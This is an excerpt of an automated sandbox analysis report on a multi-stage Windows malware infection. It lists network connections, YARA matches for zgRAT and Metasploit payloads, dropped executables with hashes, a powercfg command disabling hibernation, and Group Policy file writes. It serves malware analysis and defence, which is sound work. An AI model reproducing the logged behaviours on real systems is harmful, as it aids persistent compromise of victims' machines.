Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000B4A000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2606301405.0000000000A48000.00000040.00000001.01000000.00000009.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2627954517.0000000001E50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe, 00000007.00000002.3351938672.00000000006FA000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.wondershare.com/company/end-user-license-agreement.html
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe, 00000007.00000002.3351938672.00000000006FA000.00000002.00000001.01000000.00000007.sdmp String found in binary or memory: https://www.wondershare.com/privacy.html
Source: 1719859269.0326595_setup.exe, 00000000.00000003.2264754097.0000021663845000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://yastatic.net
Source: unknown Network traffic detected: HTTP traffic on port 60418 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 60420 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60414 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60424 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60410
Source: unknown Network traffic detected: HTTP traffic on port 60433 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60410 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60404 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60389 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60418
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60417
Source: unknown Network traffic detected: HTTP traffic on port 60437 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60414
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 60421 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60446 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60389
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60421
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60420
Source: unknown Network traffic detected: HTTP traffic on port 60396 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60426 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60401 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60428
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60426
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60424
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 60441 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60433
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60398
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60431
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60396
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60394
Source: unknown Network traffic detected: HTTP traffic on port 60431 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60437
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60417 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 60444 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60444
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60394 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60428 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60441
Source: unknown Network traffic detected: HTTP traffic on port 60398 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60404
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60446
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60401
Source: unknown HTTPS traffic detected: 104.26.9.59:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 3.5.20.219:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 79.174.95.43:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.240.132.78:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60389 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60394 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60396 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60398 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60401 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60404 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60410 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60414 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60417 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60418 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60420 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60421 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60424 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60426 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60428 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:60431 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60433 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:60437 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:60441 version: TLS 1.2
Source: unknown HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:60446 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Source: 0000000E.00000002.2560583044.000000C00023A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 0000000E.00000002.2571364769.000000C000802000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
PE file contains section with special chars
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: 1719859269.0326595_setup.exe Static PE information: section name: .vmp<E
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: IVTULQzdBmF3Bc0NeoxSnYvg.exe.0.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: ExtreamFanV5.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: PowerExpertNT.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: WinTrackerSP.exe.7.dr Static PE information: section name:
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name:
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name: .idata
Source: AAAAKJKJEB.exe.9.dr Static PE information: section name:
Source: amadka[1].exe.9.dr Static PE information: section name:
Source: amadka[1].exe.9.dr Static PE information: section name: .idata
Source: amadka[1].exe.9.dr Static PE information: section name:
PE file has nameless sections
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: super[1].exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe.0.dr Static PE information: section name:
Uses powercfg.exe to modify the power settings
Source: C:\Users\user\Documents\SimpleAdobe\ZRPXsHAkSUQ1QmQI0EHaBnFQ.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Contains functionality to call native functions
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6663B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 9_2_6663B700
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 9_2_665DF280
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6663B8C0 rand_s,NtQueryVirtualMemory, 9_2_6663B8C0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6663B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 9_2_6663B910
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx, 8_2_0040936C
Creates files inside the system directory
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Windows\System32\GroupPolicy\gpt.ini Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Windows\System32\GroupPolicy\Machine Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Windows\System32\GroupPolicy\User Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol Jump to behavior
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Detected potential crypto function
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0067DAB0 7_2_0067DAB0
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_0067C830 7_2_0067C830
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006A66D0 7_2_006A66D0
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006A3720 7_2_006A3720
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006A31F0 7_2_006A31F0
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Code function: 7_2_006A2F80 7_2_006A2F80
Source: C:\Users\user\Documents\SimpleAdobe\H1pBxuA3W1wJGbhYT2DZXaLH.exe Code function: 8_2_00408330 8_2_00408330
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665D35A0 9_2_665D35A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66646E63 9_2_66646E63
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665F9E50 9_2_665F9E50
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665F4640 9_2_665F4640
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66622E4E 9_2_66622E4E
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DC670 9_2_665DC670
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66613E50 9_2_66613E50
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66639E30 9_2_66639E30
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66625600 9_2_66625600
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66617E10 9_2_66617E10
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666476E3 9_2_666476E3
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DBEF0 9_2_665DBEF0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665EFEF0 9_2_665EFEF0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66634EA0 9_2_66634EA0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665F5E90 9_2_665F5E90
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6663E680 9_2_6663E680
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E9F00 9_2_665E9F00
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66617710 9_2_66617710
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66606FF0 9_2_66606FF0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DDFE0 9_2_665DDFE0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666277A0 9_2_666277A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E5440 9_2_665E5440
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6664545C 9_2_6664545C
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6664542B 9_2_6664542B
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6664AC00 9_2_6664AC00
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66615C10 9_2_66615C10
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66622C10 9_2_66622C10
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665FD4D0 9_2_665FD4D0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66616CF0 9_2_66616CF0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E64C0 9_2_665E64C0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DD4E0 9_2_665DD4E0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666334A0 9_2_666334A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6663C4A0 9_2_6663C4A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E6C80 9_2_665E6C80
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665FED10 9_2_665FED10
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665EFD00 9_2_665EFD00
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66600512 9_2_66600512
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666385F0 9_2_666385F0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66610DD0 9_2_66610DD0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66619A60 9_2_66619A60
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6661E2F0 9_2_6661E2F0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66618AC0 9_2_66618AC0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665F1AF0 9_2_665F1AF0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66604AA0 9_2_66604AA0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66642AB0 9_2_66642AB0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665ECAB0 9_2_665ECAB0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6664BA90 9_2_6664BA90
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665D22A0 9_2_665D22A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665D5340 9_2_665D5340
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665EC370 9_2_665EC370
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6661D320 9_2_6661D320
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666453C8 9_2_666453C8
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DF380 9_2_665DF380
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665F8850 9_2_665F8850
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665FD850 9_2_665FD850
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6661F070 9_2_6661F070
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6661B820 9_2_6661B820
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66624820 9_2_66624820
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665E7810 9_2_665E7810
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666158E0 9_2_666158E0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666450C7 9_2_666450C7
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665FC0E0 9_2_665FC0E0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_666060A0 9_2_666060A0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6662B970 9_2_6662B970
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6664B170 9_2_6664B170
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665FA940 9_2_665FA940
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665ED960 9_2_665ED960
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_6660D9B0 9_2_6660D9B0
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66615190 9_2_66615190
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_66632990 9_2_66632990
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: 9_2_665DC9A0 9_2_665DC9A0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\FCBFBGDBKJ.exe 07C09BA5A84F619E5B83A54298FFC58D20B00F14399C7A94B7F02B70EFC60F35
Source: Joe Sandbox View Dropped File: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe 6FFD157EB781504EADD72996C2CDBD4881034FFB7F7D2BC4B96D4DAA61FB4D86
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Enables security privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process token adjusted: Security
Found potential string decryption / allocating functions
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: String function: 666194D0 appears 90 times
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Code function: String function: 6660CBE8 appears 134 times
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 424 -ip 424
